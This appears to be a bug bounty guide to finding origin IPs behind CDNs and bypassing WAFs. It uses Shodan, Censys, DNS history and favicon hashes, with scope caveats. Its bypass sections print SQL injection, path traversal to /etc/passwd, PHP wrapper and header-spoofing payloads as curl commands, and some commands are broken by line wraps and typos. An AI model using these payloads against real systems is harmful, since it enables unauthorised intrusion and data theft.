



ORIGIN IP & WAF BYPASS

Bug Bounty Hunting Guide

Shodan | Censys | CloudFlare Bypass | CDN Origin

FavFreak | CloudPeler | Recon Sources

2025 Edition

Table of Contents

1. Introduction

2. Origin IP Discovery

2.1 Why Origin IP Matters

2.2 DNS History Techniques

2.3 Certificate & SSL Analysis

2.4 Favicon Hashing

2.5 Email & MX Techniques

2.6 Subdomain Bypass Methods

2.7 Misconfigured Services

3. Shodan for Origin IP

3.1 Shodan Dorks for CDN Bypass

3.2 Favicon Search

3.3 SSL Certificate Search

4. Censys for Origin IP

4.1 Censys Certificate Search

4.2 Censys Host Search

4.3 Censys API Automation

5. WAF Identification

5.1 WAF Detection Tools

5.2 WAF Fingerprinting

6. WAF Bypass Techniques

6.1 CloudFlare Bypass

6.2 Rate Limit Bypass

6.3 HTTP Method Tampering

6.4 Encoding & Obfuscation

6.5 Path Traversal Variants

7. Tools & Automation

8. One-Liners & Pipelines

9. Tips & Tricks

1. Introduction

When targets deploy CloudFlare, Akamai, AWS WAF, or similar protections, the public-facing IPs are not the real origin servers. Finding the origin IP allows direct access to the application, bypassing all WAF rules, rate limits, and geographic restrictions. Combined with Shodan and Censys, origin IP discovery is one of the highest-impact reconnaissance techniques in bug bounty hunting.

The Goal

Find the real IP address(es) hosting the target application, then verify direct access still reaches the application. Once confirmed, you can run unrestricted scans, exploit testing, and brute-force attacks that would be blocked or logged by the WAF.

Technique	Source	Reliability
DNS history	SecurityTrails, ViewDNS	High (historical accuracy)
Favicon hash search	Shodan, FavFreak	High (unique identifier)
SSL certificate search	Censys, Shodan, crt.sh	Very High (unique cert match)
MX/subdomain bypass	DNS enumeration	Medium (not always exposed)
Service fingerprinting	Shodan, Censys	Medium (shared hosting risk)

2. Origin IP Discovery

2.1 Why Origin IP Matters

CDNs and WAFs like CloudFlare sit between the user and the origin server. They filter traffic, block scanners, rate-limit requests, and hide the real infrastructure. When you hit the origin IP directly:

- WAF rules do not apply
- Rate limiting may not exist
- Geographic blocks are bypassed
- Server headers and technologies are exposed
- Vulnerability scanners run without blocks

Scope Consideration

Some bug bounty programs explicitly forbid testing the origin IP if it falls outside the scope. Always verify the program rules. If the origin IP is not in scope, report the finding as an informational issue but do not exploit further.

2.2 DNS History Techniques

Before a domain moved behind a CDN, its DNS A records pointed to the origin IP. Historical DNS data often reveals this original IP.

```
# SecurityTrails API - DNS history
API_KEY="your_api_key"
curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" \
  -H "APIKEY: $API_KEY" | jq '.records[].values[].ip'

# ViewDNS.info - IP history
# https://viewdns.info/iphistory/?domain=target.com
# (requires scraping or browser)

# DNS Trails (free historical DNS)
curl -s "https://dnstrails.com/dns-trails?q=target.com"

# Using theHarvester for historical data
theHarvester -d target.com -b all

# Passive DNS via RiskIQ / VirusTotal
# VirusTotal API for historical resolutions
API_KEY="your_vt_key"
curl -s "https://www.virustotal.com/api/v3/domains/target.com/resolutions" \
  -H "x-apikey: $API_KEY" | jq '.data[].attributes.ip_address'

# Complete DNS history pipeline
for domain in $(cat domains.txt); do
  echo "=== $domain ==="
  curl -s "https://api.securitytrails.com/v1/history/$domain/dns/a" \
    -H "APIKEY: $API_KEY" | jq -r '.records[].values[].ip'
done | sort -u > historical_ips.txt
```

2.3 Certificate & SSL Analysis

SSL/TLS certificates are issued to the origin server and often contain the domain in the Subject Alternative Name (SAN). Searching certificate databases reveals IPs that presented the target's certificate.

```
# crt.sh certificate search for IP discovery
curl -s "https://crt.sh/?q=%target.com&output=json" | jq '.[].id'

# Then fetch each certificate and extract IP from SAN
curl -s "https://crt.sh/?d=12345678" | openssl x509 -noout -text | grep DNS

# Censys certificate search (see Section 4)
# Shodan SSL certificate search
shodan search "ssl.cert.subject.CN:target.com"
shodan search "ssl:"target.com""

# Cert Spotter API
API_KEY="your_certspotter_key"
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names&expand=issuer&expand=cert" \
  -H "Authorization: Bearer $API_KEY" | jq '.[].dns_names[]'

# Facebook Certificate Transparency Monitoring
# https://developers.facebook.com/tools/ct/

# Rapid7 Open Data - Sonar SSL certificates
# https://opendata.rapid7.com/sonar.ssl/
```

2.4 Favicon Hashing

Every website's favicon is unique. By computing the MurmurHash of a favicon and searching Shodan, you can find other servers serving the same favicon - including the origin IP behind a CDN.

```

# Step 1: Get the favicon
curl -s https://target.com/favicon.ico -o favicon.ico

# Step 2: Compute mmh3 hash with Python
python3 -c "
import mmh3, sys, base64
content = open('favicon.ico', 'rb').read()
hash_val = mmh3.hash(content)
b64 = base64.b64encode(content).decode()
print(f'MurmurHash: {hash_val}')
print(f'Base64: {b64}')
"

# Step 3: Search Shodan by favicon hash
shodan search "http.favicon.hash:-123456789"

# Step 4: Search Shodan by base64 favicon
shodan search "http.favicon:dHVyZ2V0"

# Using FavFreak for bulk favicon analysis
# https://github.com/devanshbatham/FavFreak
cat urls.txt | httpx -favicon -json | jq -r '.favicon_mmh3' | \
  while read hash; do
    shodan search "http.favicon.hash:$hash" | tee "shodan_fav_$hash.txt"
  done

# Using theHarvester with favicon extraction
curl -s https://target.com/favicon.ico | \
  python3 -c "import mmh3,sys; print(mmh3.hash(sys.stdin.buffer.read()))" | \
  xargs -I {} shodan search "http.favicon.hash:{}"

```

2.5 Email & MX Techniques

```

# MX records may point to origin infrastructure
dig MX target.com

# SPF records reveal IP ranges
dig TXT target.com | grep "v=spf1"

# Reverse DNS on MX IP
dig -x 1.2.3.4

# Check if MX server leaks origin info
curl -s http://mail.target.com/ -o /dev/null -w "%{http_code}\n"

# Verify if mail server IP also serves web content
curl -s -H "Host: target.com" http://mail-server-ip/ -o /dev/null -w "%{http_code}"

```

2.6 Subdomain Bypass Methods

```
# Test subdomains not behind CDN
curl -s -o /dev/null -w "%{http_code}" https://dev.target.com
curl -s -o /dev/null -w "%{http_code}" https://staging.target.com
curl -s -o /dev/null -w "%{http_code}" https://api.target.com
curl -s -o /dev/null -w "%{http_code}" https://old.target.com
curl -s -o /dev/null -w "%{http_code}" https://origin.target.com

# Direct IP test with Host header
curl -s -H "Host: target.com" http://1.2.3.4/ -o /dev/null -w "%{http_code}"

# Check if www and non-www resolve differently
dig +short target.com
dig +short www.target.com

# Check bare IP response vs CDN
curl -s http://$(dig +short target.com | head -1)/ | head -20

# Test FTP, SSH, mail server IPs for web service
curl -s http://$(dig +short mail.target.com | head -1)/ \
  -H "Host: target.com" -o /dev/null -w "%{http_code}"
```

2.7 Misconfigured Services

```
# Test for exposed load balancer status pages
curl -s http://target.com/nginx_status
curl -s http://target.com/server-status
curl -s http://target.com/status

# WebDAV methods may reveal internal IPs
curl -s -X PROPFIND http://target.com/ -H "Depth: 0"

# Trace method reveals proxy chain
curl -s -X TRACE http://target.com/ | grep -i "via|x-forwarded"

# Misconfigured S3/CDN origins
curl -s http://s3.amazonaws.com/target-bucket/ | head -10

# Check for exposed internal DNS
curl -s http://dns.target.com/ | head -10

# Jenkins, GitLab, Confluence often on origin
curl -s http://origin-ip:8080/ -H "Host: target.com" -o /dev/null -w "%{http_code}"
```

3. Shodan for Origin IP

3.1 Shodan Dorks for CDN Bypass

```
# Search by domain in HTML
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=hostname:target.com" | jq '.matches[].ip_str'

# Search by SSL certificate
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=ssl.cert.subject.CN:target.com" | jq '.matches[].ip_str'

# Search by favicon hash
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=http.favicon.hash:-123456789" | jq '.matches[].ip_str'

# Search by title
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=title:target.com" | jq '.matches[].ip_str'

# Combine operators
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=hostname:target.com+http.status:200" | jq '.matches[] | "\(.ip_str) \(.location.country_name)"'

# Search for specific technologies on target infrastructure
shodan search "hostname:target.com Apache"
shodan search "hostname:target.com nginx"
shodan search "hostname:target.com port:8443"

# Find exposed services on target origin
curl -s "https://api.shodan.io/shodan/host/search?key=$API_KEY&query=hostname:target.com+port:22,3389,5432,3306,27017,6379,9200" | jq '.matches[] | "\(.ip_str):\(.port) - \(.location.country_name)"'
```

3.2 Favicon Search

```
# CLI favicon search workflow
curl -s https://target.com/favicon.ico | python3 -c "
import mmh3, sys, base64
content = sys.stdin.buffer.read()
hash_val = mmh3.hash(content)
print(f'Hash: {hash_val}')
print(f'Base64: {base64.b64encode(content).decode()}')
"

# Shodan CLI search
shodan search "http.favicon.hash:-123456789" --fields ip_str,port,hostnames

# Search all target subdomains' favicons
cat subdomains.txt | while read sub; do
    hash=$(curl -s "https://$sub/favicon.ico" | python3 -c "import mmh3,sys; print(mmh3.hash(sys.stdin.buffer.read()))" 2>/dev/null)
    if [ -n "$hash" ]; then
        echo "$sub -> hash: $hash"
        shodan search "http.favicon.hash:$hash" --fields ip_str,hostnames | head -10
    fi
done

# httpx + FavFreak pipeline
cat subdomains.txt | httpx -silent -favicon -json | jq -r '.favicon_mmh3' | sort -u | \
while read hash; do
    echo "=== Searching Shodan for favicon hash: $hash ==="
    shodan search "http.favicon.hash:$hash" --fields ip_str,port,org
done
```

3.3 SSL Certificate Search

```
# Shodan SSL certificate search
shodan search "ssl:"target.com" --fields ip_str,ssl.cert.subject.CN,port

# Search by specific certificate fields
shodan search "ssl.cert.issuer.CN:Let's Encrypt AND ssl.cert.subject.CN:*.target.com"

# Find all IPs with target's certificate
shodan search "ssl.cert.fingerprint:sha256:abc123..."

# Censys SSL alternative
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificates.leaf_data.names%3A%20target.com" \
-H "Authorization: Basic $CENSYS_API_KEY" | jq '.result.hits[].ip'
```

4. Censys for Origin IP

4.1 Censys Certificate Search

```
# Censys API v2 certificate search
CENSYS_API_ID="your_id"
CENSYS_API_SECRET="your_secret"

# Search hosts by certificate name
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificates.leaf_data.names%3A%20target.com" \
-u "$CENSYS_API_ID:$CENSYS_API_SECRET" | \
jq '.result.hits[] | "\(.ip) - \(.services[].port)'"

# Search by exact certificate SHA256 fingerprint
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificates.leaf_data.fingerprint%3A%20abc123..." \
-u "$CENSYS_API_ID:$CENSYS_API_SECRET" | jq '.result.hits[].ip'

# Search by certificate subject organization
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificates.leaf_data.subject.organization%3A%20Target%20Inc" \
-u "$CENSYS_API_ID:$CENSYS_API_SECRET" | jq '.result.hits[] | .ip'

# Censys web search (equivalent)
# services.tls.certificates.leaf_data.names: target.com
# services.tls.certificates.leaf_data.subject.organization: "Target Inc"
```

4.2 Censys Host Search

```
# Find all web services on a specific IP
curl -s "https://search.censys.io/api/v2/hosts/$IP" \
  -u "$CENSYS_API_ID:$CENSYS_API_SECRET" | \
  jq '.result.services[] | "Port: \(.port), Service: \(.service_name)">'

# Search by HTTP response body containing target string
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.http.response.body%3A%20target.com" \
  -u "$CENSYS_API_ID:$CENSYS_API_SECRET" | jq '.result.hits[].ip'

# Search by HTTP title
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.http.response.html_title%3A%20%22Target%20Login%22" \
  -u "$CENSYS_API_ID:$CENSYS_API_SECRET" | jq '.result.hits[].ip'

# Search by HTTP headers
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.http.response.headers.server%3A%20nginx" \
  -u "$CENSYS_API_ID:$CENSYS_API_SECRET" | jq '.result.hits[].ip'
```

4.3 Censys API Automation

```
# Full pipeline: extract IPs, check for WAF absence, verify origin
#!/bin/bash
TARGET="target.com"
CENSYS_ID="your_id"
CENSYS_SECRET="your_secret"

# Step 1: Get candidate IPs from Censys
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificates.le
af_data.names%3A%20$TARGET" \
  -u "$CENSYS_ID:$CENSYS_SECRET" | \
  jq -r '.result.hits[].ip' > censys_ips.txt

# Step 2: Check which IPs respond with target content
cat censys_ips.txt | while read ip; do
  resp=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Host: $TARGET" --max-time 5 "http://$ip/" 2>/dev/null)
  if [ "$resp" = "200" ] || [ "$resp" = "301" ] || [ "$resp" = "302" ]; then
    echo "[+] $ip responds with HTTP $resp"
    # Step 3: Verify not CloudFlare
    server=$(curl -s -I -H "Host: $TARGET" --max-time 5 "http://$ip/" 2>/dev/null |
grep -i "server:" | head -1)
    if ! echo "$server" | grep -qi "cloudflare"; then
      echo "[!] Potential origin IP: $ip (Server: $server)"
    fi
  fi
done
```

5. WAF Identification

5.1 WAF Detection Tools

```
# WhatWaf - WAF detection tool
whatwaf -u https://target.com

# wafw00f - Web Application Firewall detection
wafw00f https://target.com

# nmap WAF detection script
nmap -p 80,443 --script http-waf-detect target.com

# Manual detection via headers
curl -s -I https://target.com/ | grep -iE "server|via|x-cache|cf-|akamai|fastly|inca
psula|sucuri"

# Check for CloudFlare headers
curl -s -I https://target.com/ | grep -i "cf-ray\|cf-cache\|cloudflare"

# Check for Akamai headers
curl -s -I https://target.com/ | grep -i "akamai\|x-akamai"

# Check for AWS WAF
curl -s -I https://target.com/ | grep -i "awselb\|awseb"

# Check for Incapsula
curl -s -I https://target.com/ | grep -i "incapsula\|x-iinfo"

# Check for Sucuri
curl -s -I https://target.com/ | grep -i "sucuri\|x-sucuri"
```

WAF/CDN	Signature Headers	IP Ranges
CloudFlare	CF-RAY, CF-Cache-Status, Server: cloudflare	173.245.48.0/20, 103.21.244.0/22, etc.
Akamai	X-Akamai, Via: AkamaiGHost	23.32.0.0/11, 23.192.0.0/11, etc.
AWS WAF/CloudFront	Via: CloudFront, X-Amz-Cf-Id	52.84.0.0/15, 54.192.0.0/16, etc.
Fastly	Fastly-Debug-Digest, X-Served-By	151.101.0.0/16, 157.52.64.0/18
Incapsula	X-Iinfo, X-CDN: Incapsula	107.154.0.0/16, 45.60.0.0/16
Sucuri	X-Sucuri-ID, Server: Sucuri/Cloudproxy	192.124.249.0/24, etc.
Imperva	X-Iinfo, Via: Imperva	Various dynamic ranges

5.2 WAF Fingerprinting

```
# Trigger WAF block to identify response
curl -s -X POST https://target.com/ \
  -d "" -o /dev/null -w "%{http_code}"

# Check WAF block page characteristics
curl -s -X POST https://target.com/ \
  -d "" | head -30

# SQL injection trigger
curl -s "https://target.com/?id=1'" -o /dev/null -w "%{http_code}"
curl -s "https://target.com/?id=1'" | grep -i "blocked\|forbidden\|cloudflare\|akama
i\|incapsula"

# Path traversal trigger
curl -s "https://target.com/?file=../../../../etc/passwd" | grep -iE "403|block|waf|clo
udflare"

# LFI trigger
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=/etc/p
asswd" | head -20

# Check rate limit response
curl -s https://target.com/ -o /dev/null -w "%{http_code}"
# Run 100 requests and check for 429 (Too Many Requests)
for i in {1..100}; do
  curl -s -o /dev/null -w "%{http_code}\n" https://target.com/
done | sort | uniq -c
```

6. WAF Bypass Techniques

6.1 CloudFlare Bypass

```
# Method 1: Direct origin IP access
curl -s http://ORIGIN_IP/ -H "Host: target.com"

# Method 2: Subdomain not behind CloudFlare
curl -s https://dev.target.com/ -o /dev/null -w "%{http_code}"
curl -s https://mail.target.com/ -o /dev/null -w "%{http_code}"
curl -s https://ftp.target.com/ -o /dev/null -w "%{http_code}"

# Method 3: Email server IP testing
curl -s -H "Host: target.com" http://$(dig +short mail.target.com | head -1)/

# Method 4: MX record IP
curl -s -H "Host: target.com" http://$(dig +short MX target.com | awk '{print $2}' | head -1)/

# Method 5: FTP server IP
curl -s -H "Host: target.com" http://$(dig +short ftp.target.com | head -1)/

# Method 6: Old DNS records (pre-CloudFlare)
curl -s -H "Host: target.com" http://$(dig +short OLD_A_RECORD_IP)/

# Method 7: Censys/Shodan discovered IP
curl -s -H "Host: target.com" http://CENSYS_FOUND_IP/

# Method 8: Bypass via CloudFlare Workers route
curl -s https://target.com/cdn-cgi/trace

# Method 9: Zone Transfer (rare but possible)
dig axfr target.com @ns1.target.com
```

CloudFlare IP Ranges

CloudFlare publishes all IP ranges. Verify if an IP is CloudFlare by checking against <https://www.cloudflare.com/ips-v4> and <https://www.cloudflare.com/ips-v6>. Any IP responding with the target but NOT in these ranges is a potential origin.

6.2 Rate Limit Bypass

```
# IP rotation via X-Forwarded-For
curl -s https://target.com/api/login \
  -H "X-Forwarded-For: 192.168.1.$((RANDOM % 255))"

# Multiple IP headers for confusion
curl -s https://target.com/api/login \
  -H "X-Forwarded-For: 1.2.3.4" \
  -H "X-Real-IP: 1.2.3.4" \
  -H "CF-Connecting-IP: 1.2.3.4" \
  -H "True-Client-IP: 1.2.3.4"

# IPv6 bypass (many WAFs poorly handle IPv6)
curl -s https://target.com/api/login \
  -H "X-Forwarded-For: ::1"

# Distributed requests (slow rate)
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    https://target.com/api/login
done

# User-Agent rotation
curl -s https://target.com/api/login \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/$((RANDOM % 100))"

# Session/cookie rotation
curl -s https://target.com/api/login \
  -H "Cookie: session=random_$((RANDOM % 10000))"
```

6.3 HTTP Method Tampering

```
# WAF may only filter GET/POST, not PUT/DELETE/PATCH
curl -X PUT https://target.com/api/users/1 \
  -d '{"role":"admin"}' -H "Content-Type: application/json"

curl -X DELETE https://target.com/api/users/1

# Method override headers
curl -X GET https://target.com/api/users/1 \
  -H "X-HTTP-Method-Override: DELETE"

curl -X GET https://target.com/api/users/1 \
  -H "X-Method-Override: PUT" \
  -d '{"role":"admin"}'

# POST to GET endpoint with body
curl -X POST "https://target.com/?id=1' UNION SELECT 1--" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Alternative methods
curl -X OPTIONS https://target.com/api/users
curl -X TRACE https://target.com/api/users
curl -X CONNECT https://target.com/api/users
```

6.4 Encoding & Obfuscation

```
# URL encoding bypass
curl -s "https://target.com/?id=1%27%20%55%4E%49%4F%4E%20%53%45%4C%45%43%54%201--"

# Double URL encoding
curl -s "https://target.com/?id=1%2527"

# Unicode normalization
curl -s "https://target.com/?id=1\u0027"
curl -s "https://target.com/?id=1%c0%a7"

# Case variation
curl -s "https://target.com/?id=1' uNiOn sElEcT 1--"

# Comment injection
curl -s "https://target.com/?id=1'/**/UNION/**/SELECT/**/1--"
curl -s "https://target.com/?id=1'/*!50000UNION*/*!50000SELECT*/1--"

# Concatenation bypass
curl -s "https://target.com/?id=1' CONCAT('UN','ION') CONCAT('SEL','ECT') 1--"

# NULL byte (older WAFs)
curl -s "https://target.com/?id=1%00' UNION SELECT 1--"

# CRLF injection in headers
curl -s -I "https://target.com/\r\n\r\nGET /admin HTTP/1.1\r\n\r\n"

# JSON parameter pollution
curl -X POST https://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"q":"test","q":""}'
```

6.5 Path Traversal Variants

```
# Standard path traversal
curl -s "https://target.com/?file=../../../../etc/passwd"

# URL-encoded traversal
curl -s "https://target.com/?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL-encoded
curl -s "https://target.com/?file=%252e%252e%252fetc%252fpasswd"

# Unicode traversal
curl -s "https://target.com/?file=..%c0%af..%c0%af..%c0%afetc/passwd"

# Null byte truncation
curl -s "https://target.com/?file=../../../../etc/passwd%00.jpg"

# PHP wrappers
curl -s "https://target.com/?file=php://filter/convert.base64-encode/resource=/etc/passwd"
curl -s "https://target.com/?file=php://input" \
  -d ""
curl -s "https://target.com/?file=data://text/plain,"

# Expect wrapper (if enabled)
curl -s "https://target.com/?file=expect://id"

# File wrapper
curl -s "https://target.com/?file=file:///etc/passwd"

# ZIP wrapper
curl -s "https://target.com/?file=zip:///var/www/html/upload.zip#shell.php"
```

7. Tools & Automation

Tool	Purpose	Usage
FavFreak	Favicon analysis + Shodan	<code>cat urls httpx -favicon favfreak</code>
CloudPeler	CDN origin finder	<code>cloudpeler -d target.com</code>
CriminalIP	IP intelligence + WAF detection	<code>criminalip domain target.com</code>
wafw00f	WAF fingerprinting	<code>wafw00f target.com</code>
WhatWaf	WAF detection + bypass	<code>whatwaf -u target.com</code>
httpx	Fast probing + tech detection	<code>cat subs httpx -favicon -web-server -title</code>
CloudFlair	CloudFlare origin finder	<code>cloudflair target.com</code>
Bypass-Cloudflare	Origin IP by DNS history	<code>bypass-cloudflare-by-old-dns-records.sh target.com</code>
Shodan	Host/service discovery	<code>shodan search "hostname:target.com"</code>
Censys	Certificate/host search	<code>censys search "services.tls.certificates.leaf_data.names:target.com"</code>
SecurityTrails	DNS history	<code>curl /v1/history/target.com/dns/a</code>
git-hound	GitHub credential hunting	<code>git-hound --config_file config.yml</code>

```
# FavFreak usage
cat subdomains.txt | httpx -silent -favicon -json | jq -r '.favicon_mmh3' | \
  favfreak -o favfreak_results/

# CloudPeler (find CloudFlare origin)
go install github.com/gwen001/cloudpeler@latest
cloudpeler -d target.com

# httpx with CDN detection
cat subdomains.txt | httpx -silent -cdn -json | \
  jq 'select(.cdn==null) | .url'

# httpx probe for origin candidates (non-CDN)
cat subdomains.txt | httpx -silent -cdn -tech-detect -json | \
  jq 'select(.cdn==null) | {url,webserver,tech}'

# WhatWaf usage with tamper scripts
whatwaf -u "https://target.com/?id=1" --tamper inttamper

# wafw00f bulk scanning
cat urls.txt | while read url; do
  wafw00f "$url" | grep -i "behind"
done
```

8. One-Liners & Pipelines

Complete Origin IP Discovery Pipeline

```
# Step 1: DNS history -> IPs
curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" \
  -H "APIKEY: $KEY" | jq -r '.records[].values[].ip' > dns_history_ips.txt

# Step 2: Shodan favicon search -> IPs
hash=$(curl -s https://target.com/favicon.ico | python3 -c "import mmh3,sys; print(mmh3.hash(sys.stdin.buffer.read()))")
shodan search "http.favicon.hash:$hash" --fields ip_str > shodan_ips.txt

# Step 3: Censys certificate search -> IPs
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificate.s.leaf_data.names%3A%20target.com" \
  -u "ID:SECRET" | jq -r '.result.hits[].ip' > censys_ips.txt

# Step 4: Merge and deduplicate
cat dns_history_ips.txt shodan_ips.txt censys_ips.txt | sort -u > candidate_ips.txt

# Step 5: Verify with Host header
cat candidate_ips.txt | while read ip; do
  status=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: target.com" --max-time 5 "http://$ip/" 2>/dev/null)
  server=$(curl -s -I -H "Host: target.com" --max-time 5 "http://$ip/" 2>/dev/null | grep -i "server:" | head -1)
  if [ "$status" = "200" ] || [ "$status" = "301" ] || [ "$status" = "302" ]; then
    echo "[$status] $ip - $server"
  fi
done | tee verified_origins.txt
```

Passive

shodan

censys

WAF Detection + Origin Check Pipeline

```
# Detect WAF, then find origin IP
cat subdomains.txt | while read sub; do
  waf=$(wafw00f "https://$sub" 2>/dev/null | grep -oP '(?<=is behind ).*?(?= WAF)')
  if [ -n "$waf" ]; then
    echo "=== $sub -> $waf ==="
    # Try to find origin via favicon
    hash=$(curl -s "https://$sub/favicon.ico" | python3 -c "import mmh3,sys; print(mmh3.hash(sys.stdin.buffer.read()))" 2>/dev/null)
    if [ -n "$hash" ]; then
      shodan search "http.favicon.hash:$hash" --fields ip_str,hostnames 2>/dev/null | head -5
    fi
  fi
done
```

Active

wafw00f

shodan

CloudFlare Bypass via Subdomain Enumeration

```
# Find subdomains not behind CloudFlare
subfinder -d target.com -silent | \
  httpx -silent -cdn -json | \
  jq -r 'select(.cdn==null) | .url' | \
  tee non_cloudflare_subs.txt

# Direct IP test for non-CDN subdomains
cat non_cloudflare_subs.txt | while read url; do
  ip=$(dig +short $(echo "$url" | sed 's|https://||') | head -1)
  echo "$url -> $ip"
done
```

Passive

subfinder

httpx

Shodan + Censys Combined Search

```
# Find all infrastructure for target
echo "=== Shodan Results ==="
shodan search "hostname:target.com" --fields ip_str,port,org,hostnames

echo "=== Censys Results ==="
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.http.response.b
ody%3A%20target.com" \
  -u "ID:SECRET" | jq '.result.hits[] | {ip, services: [.services[].port]}'

echo "=== Censys Certificate Results ==="
curl -s "https://search.censys.io/api/v2/hosts/search?q=services.tls.certificate
s.leaf_data.names%3A%20target.com" \
  -u "ID:SECRET" | jq '.result.hits[] | {ip, services: [.services[].port]}'
```

Passive

shodan

censys

Automated Origin Verification

```
#!/bin/bash
TARGET="target.com"
ORIGIN_CANDIDATES="candidate_ips.txt"

cat "$ORIGIN_CANDIDATES" | while read ip; do
    echo "Testing $ip..."

    # Test HTTP
    http_status=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $TARGET" --connect-timeout 5 "http://$ip/" 2>/dev/null)

    # Test HTTPS
    https_status=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $TARGET" --connect-timeout 5 -k "https://$ip/" 2>/dev/null)

    # Check server header
    server=$(curl -s -I -H "Host: $TARGET" --connect-timeout 5 "http://$ip/" 2>/dev/null | grep -i "server:" | tr -d '\r')

    # Check for WAF signatures
    waf=$(curl -s -I -H "Host: $TARGET" --connect-timeout 5 "http://$ip/" 2>/dev/null | grep -iE "cloudflare|akamai|incapsula|sucuri|fastly")

    if [ -n "$waf" ]; then
        echo "  [-] $ip -> WAF detected ($waf)"
    elif [ "$http_status" = "200" ] || [ "$https_status" = "200" ] || [ "$http_status" = "301" ] || [ "$https_status" = "301" ]; then
        echo "  [+] $ip -> HTTP:$http_status HTTPS:$https_status ($server)"
    fi
done
```

Active

bash

9. Tips & Tricks

Tip 1: Always Verify Before Assuming Origin

An IP responding with the target content might be another CDN node, reverse proxy, or shared hosting server. Verify by checking: Server header (should not be CloudFlare), absence of CF-* headers, and direct access returning identical content to the main domain.

Tip 2: Check Both HTTP and HTTPS

Origin servers may only respond on HTTP while the CDN handles HTTPS. Always test both protocols. Some origins redirect HTTP to HTTPS, revealing the true redirect chain.

Tip 3: Use Multiple Recon Sources

No single source finds all origins. Combine: DNS history (SecurityTrails), certificate search (Censys, crt.sh), favicon matching (Shodan), subdomain enumeration (subfinder), and service fingerprinting (Shodan port scan). The intersection of findings increases confidence.

Tip 4: Test Subdomains Systematically

Mail, ftp, dev, staging, old, origin, direct, and legacy subdomains often bypass CDN configuration. Use a comprehensive subdomain wordlist including these common bypass names.

Tip 5: Historical Data is Gold

DNS history from SecurityTrails and ViewDNS often reveals the pre-CDN origin IP. Even if the domain moved to CloudFlare years ago, the historical A record is preserved. This is the highest-confidence origin discovery method.

Tip 6: WAF Bypass != Origin IP Only

Even without finding the origin IP, you can bypass WAF rules through: encoding, method tampering, header manipulation, path traversal variants, JSON/XML content type switching, and parameter pollution. Use these techniques before concluding the target is "untestable."

Tip 7: Monitor for CDN Misconfigurations

A target using CloudFlare might have: DNS records not proxied (gray cloud), Page Rules bypassing security, IP Access Rules allowing your country, or Firewall Rules with logic flaws. Check the CloudFlare dashboard behavior from the client side.

Responsible Disclosure

Finding an origin IP behind a WAF is an informational finding. Some programs consider it a valid vulnerability (information disclosure), while others do not. Always verify the program's scope and rules. Do not run aggressive scans against the origin IP without explicit permission.

Technique	Tool/Source	Success Rate
DNS history	SecurityTrails, ViewDNS	Very High
Favicon hash matching	Shodan + FavFreak	High
SSL certificate search	Censys, Shodan, crt.sh	Very High
Subdomain enumeration	subfinder + httpx -cdn	Medium
MX/FTP server testing	dig + curl	Medium
Service fingerprinting	Shodan port search	Low-Medium
Content body search	Censys HTTP body	Medium